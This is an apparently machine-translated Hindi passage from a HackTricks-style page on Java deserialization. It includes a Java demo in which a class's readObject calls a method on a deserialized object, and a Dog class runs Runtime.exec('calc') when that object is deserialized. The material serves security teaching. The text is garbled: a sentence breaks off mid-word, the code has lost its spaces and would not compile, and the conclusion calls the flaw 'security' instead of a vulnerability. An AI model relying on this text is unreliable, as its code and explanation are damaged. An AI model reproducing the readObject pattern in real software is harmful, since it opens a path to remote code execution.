अपने हैकिंग ट्रिक्स साझा करें, HackTricks के HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
इस पोस्ट में java.io.Serializable का उपयोग करके एक उदाहरण का विवरण दिया जाएगा।
Serializable
Java Serializable इंटरफेस (java.io.Serializable) एक मार्कर इंटरफेस है जिसे आपकी कक्षाएं सिरीयलाइज़ और डीसीरीयलाइज़ की जानी चाहिए अगर वे हैं। Java ऑब्ज
importjava.io.Serializable;importjava.io.*;publicclassTestDeserialization {interfaceAnimal {publicvoideat();}//Class must implements Serializable to be serializablepublicstaticclassCatimplementsAnimal,Serializable {@Overridepublicvoideat() {System.out.println("cat eat fish");}}//Class must implements Serializable to be serializablepublicstaticclassDogimplementsAnimal,Serializable {@Overridepublicvoideat() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("dog eat bone");}}//Class must implements Serializable to be serializablepublicstaticclassPersonimplementsSerializable {privateAnimal pet;publicPerson(Animal pet){this.pet= pet;}//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()privatevoidreadObject(java.io.ObjectInputStream stream)throwsIOException,ClassNotFoundException {pet = (Animal) stream.readObject();pet.eat();}}publicstaticvoidGeneratePayload(Object instance,String file)throwsException {//Serialize the constructed payload and write it to the fileFile f =newFile(file);ObjectOutputStream out =newObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}publicstaticvoidpayloadTest(String file) throwsException {//Read the written payload and deserialize itObjectInputStream in =newObjectInputStream(new FileInputStream(file));Object obj =in.readObject();System.out.println(obj);in.close();}publicstaticvoidmain(String[] args) throwsException {// Example to call Person with a DogAnimal animal =newDog();Person person =newPerson(animal);GeneratePayload(person,"test.ser");payloadTest("test.ser");// Example to call Person with a Cat//Animal animal = new Cat();//Person person = new Person(animal);//GeneratePayload(person,"test.ser");//payloadTest("test.ser");}}
निष्कर्ष
जैसा कि आप इस बहुत ही मौलिक उदाहरण में देख सकते हैं, यहाँ "सुरक्षाता" इसलिए प्रकट होती है क्योंकि readObject फ़ंक्शन अन्य सुरक्षित फ़ंक्शनों को बुला रहा है।